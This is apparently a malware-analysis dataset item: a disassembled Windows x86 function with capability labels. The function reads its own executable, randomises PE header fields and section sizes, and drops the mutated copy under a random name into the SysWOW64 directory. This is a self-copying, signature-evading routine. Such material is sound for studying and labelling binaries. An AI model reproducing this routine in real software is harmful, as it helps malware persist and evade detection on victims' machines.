Function at 0x40855f
Capabilities:
Check if file exists
Get file size
Read file on windows
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x423c8f
call fcn.0041514d
lea eax, [ebp - 0x20]
xor edi, edi
push eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
cmp dword [ebp - 0x20], edi
je 0x4087c8
mov eax, dword [0x43bf4c]
cmp eax, edi
je 0x40859d
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x43b30c]
mov ecx, 0x43b30c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, 0x104
push eax
push eax
lea esi, [ebp - 0x10]
mov dword [ebp - 4], edi
call fcn.004012ff
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call fcn.00402923
push edi
push edi
push 3
push edi
push 7
push closesocket
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4087bd
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
mov eax, dword [ebp - 0x38]
push eax
mov dword [ebp - 0x24], eax
call fcn.00412f5e
pop ecx
mov ebx, eax
push edi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x30], ebx
push ebx
push esi
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp ebx, edi
je 0x4087bd
mov esi, dword [ebx + 0x3c]
push edi
mov eax, 0xc3
add esi, ebx
call fcn.00407eef
pop ecx
mov ebx, eax
push edi
mov eax, 0xffff
call fcn.00407eef
shl ebx, 0x10
lea ebx, [ebx + eax + 0x61cf2900]
mov eax, dword [esi + 0x38]
mov dword [ebp - 0x1c], eax
movzx eax, word [esi + 6]
pop ecx
mov dword [esi + 8], ebx
cmp eax, edi
jbe 0x408699
add esi, 0x100
mov dword [ebp - 0x18], eax
mov ebx, dword [esi]
xor edx, edx
mov eax, ebx
div dword [ebp - 0x1c]
cmp edx, 5
jbe 0x408691
mov eax, dword [ebp - 0x1c]
sub eax, edx
dec eax
push 1
call fcn.00407eef
add eax, ebx
pop ecx
mov dword [esi], eax
add esi, 0x28
dec dword [ebp - 0x18]
jne 0x408671
mov eax, dword [0x43b30c]
mov esi, 0x43b30c
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push 0x3e8
mov eax, 0x2710
mov byte [ebp - 4], 1
call fcn.00407eef
pop ecx
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
imul ebx, eax
push ebx
push str.C:WindowsSyswow64_x
lea eax, [ebp - 0x14]
call fcn.00401552
pop ecx
pop ecx
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408714
push edi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x1c], edi
push dword [ebp - 0x30]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4087b5
mov eax, dword [0x43b30c]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push ebx
mov byte [ebp - 4], 2
call fcn.0040833c
pop ecx
pop ecx
test eax, eax
je 0x4087aa
mov dword [ebp - 0x18], edi
lea eax, [ebp - 0x30]
push eax
call fcn.00411de0
pop ecx
mov byte [ebp - 4], 3
push dword [eax]
push 0x43b048
push str.vphcd
call fcn.00401118
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x30]
add esp, 0xc
add eax, 0xfffffff0
call fcn.0040159d
cmp esi, edi
jne 0x40879a
push 0x1e
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x3e8
jl 0x40874d
jmp 0x4087a1
mov dword [ebp - 0x28], 1
push dword [ebp - 0x1c]
call fcn.00408494
pop ecx
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.0040159d
lea eax, [ebx - 0x10]
call fcn.0040159d
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.0040159d
mov eax, dword [ebp - 0x28]
call fcn.00415225
ret